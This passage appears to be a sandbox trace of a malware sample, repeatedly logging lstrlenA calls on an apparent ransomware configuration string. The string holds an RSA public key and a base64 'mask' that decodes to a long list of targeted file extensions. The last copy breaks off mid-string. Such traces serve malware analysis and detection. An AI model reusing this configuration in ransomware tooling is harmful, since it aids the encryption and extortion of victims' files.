(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.402] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi